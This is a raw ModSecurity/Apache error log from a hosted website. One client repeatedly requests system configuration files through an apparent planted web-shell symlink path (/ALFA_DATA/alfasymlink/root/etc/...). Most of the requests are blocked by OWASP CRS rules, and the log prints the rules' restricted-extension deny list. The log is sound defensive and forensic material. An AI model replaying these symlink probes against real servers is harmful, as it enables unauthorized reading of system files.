[Sun Oct 25 14:29:39.302279 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52537] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/370_mod_remoteip.conf"] [unique_id "at5Kk4ptOg7YDpX4xSOWtAAAABA"]
[Sun Oct 25 14:29:39.307617 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52599] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/450_mod_unique_id.conf"] [unique_id "at5Kk6i7oKzIlJx03ipNVgAAAAE"]
[Sun Oct 25 14:29:39.307882 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52599] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/450_mod_unique_id.conf"] [unique_id "at5Kk6i7oKzIlJx03ipNVgAAAAE"]
[Sun Oct 25 14:29:39.308118 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:52599] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/450_mod_unique_id.conf"] [unique_id "at5Kk6i7oKzIlJx03ipNVgAAAAE"]
[Sun Oct 25 14:29:39.325324 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52602] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/455_mod_unixd.conf"] [unique_id "at5Kk73kuBsxLRbAfYmokAAAAA4"]
[Sun Oct 25 14:29:39.325579 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/455_mod_unixd.conf"] [unique_id "at5Kk73kuBsxLRbAfYmokAAAAA4"]
[Sun Oct 25 14:29:39.325831 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/455_mod_unixd.conf"] [unique_id "at5Kk73kuBsxLRbAfYmokAAAAA4"]
[Sun Oct 25 14:29:39.393181 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52611] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/490_mod_bwlimited.conf"] [unique_id "at5Kk76D6j04LiS6yScWNQAAAAI"]
[Sun Oct 25 14:29:39.393505 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52611] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/490_mod_bwlimited.conf"] [unique_id "at5Kk76D6j04LiS6yScWNQAAAAI"]
[Sun Oct 25 14:29:39.393750 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:52611] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/490_mod_bwlimited.conf"] [unique_id "at5Kk76D6j04LiS6yScWNQAAAAI"]
[Sun Oct 25 14:29:39.409529 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52610] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/495_mod_ssl.conf"] [unique_id "at5KkyEQblycZeXKbm74kgAAAAU"]
[Sun Oct 25 14:29:39.409870 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/495_mod_ssl.conf"] [unique_id "at5KkyEQblycZeXKbm74kgAAAAU"]
[Sun Oct 25 14:29:39.410113 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/495_mod_ssl.conf"] [unique_id "at5KkyEQblycZeXKbm74kgAAAAU"]
[Sun Oct 25 14:29:39.416854 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52613] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/800-mod_security2.conf"] [unique_id "at5Kk0YY36dVli09oOhVYAAAAAw"]
[Sun Oct 25 14:29:39.417105 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52613] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/800-mod_security2.conf"] [unique_id "at5Kk0YY36dVli09oOhVYAAAAAw"]
[Sun Oct 25 14:29:39.417415 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:52613] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/800-mod_security2.conf"] [unique_id "at5Kk0YY36dVli09oOhVYAAAAAw"]
[Sun Oct 25 14:29:39.456495 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52645] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/asound.conf"] [unique_id "at5Kk7FCIv3LB15s-_e9ggAAAAM"]
[Sun Oct 25 14:29:39.456752 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52638] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/ruid2.conf"] [unique_id "at5Kk9Id4uiAK8m2gJn9IAAAAAQ"]
[Sun Oct 25 14:29:39.456795 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52645] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/asound.conf"] [unique_id "at5Kk7FCIv3LB15s-_e9ggAAAAM"]
[Sun Oct 25 14:29:39.456976 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52638] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/ruid2.conf"] [unique_id "at5Kk9Id4uiAK8m2gJn9IAAAAAQ"]
[Sun Oct 25 14:29:39.457058 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:52645] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/asound.conf"] [unique_id "at5Kk7FCIv3LB15s-_e9ggAAAAM"]
[Sun Oct 25 14:29:39.457196 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:52638] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/ruid2.conf"] [unique_id "at5Kk9Id4uiAK8m2gJn9IAAAAAQ"]
[Sun Oct 25 14:29:39.478644 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52653] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/authselect/user-nsswitch.conf"] [unique_id "at5Kk2T7SK5esjpOWSjqsQAAABY"]
[Sun Oct 25 14:29:39.478939 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52653] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/authselect/user-nsswitch.conf"] [unique_id "at5Kk2T7SK5esjpOWSjqsQAAABY"]
[Sun Oct 25 14:29:39.479171 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52653] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/authselect/user-nsswitch.conf"] [unique_id "at5Kk2T7SK5esjpOWSjqsQAAABY"]
[Sun Oct 25 14:29:39.502805 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52656] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/spacewalk.conf"] [unique_id "at5KkyEQblycZeXKbm74kwAAAAU"]
[Sun Oct 25 14:29:39.502833 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:52656] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dnf/plugins/spacewalk.conf"] [unique_id "at5KkyEQblycZeXKbm74kwAAAAU"]
[Sun Oct 25 14:29:39.578039 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52658] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/avahi/avahi-daemon.conf"] [unique_id "at5Kk4ptOg7YDpX4xSOWtgAAABA"]
[Sun Oct 25 14:29:39.578310 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52658] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/avahi/avahi-daemon.conf"] [unique_id "at5Kk4ptOg7YDpX4xSOWtgAAABA"]
[Sun Oct 25 14:29:39.578579 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52658] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/avahi/avahi-daemon.conf"] [unique_id "at5Kk4ptOg7YDpX4xSOWtgAAABA"]
[Sun Oct 25 14:29:39.615279 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52673] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chkserv.d/chkservd.conf"] [unique_id "at5Kk73kuBsxLRbAfYmokgAAAA4"]
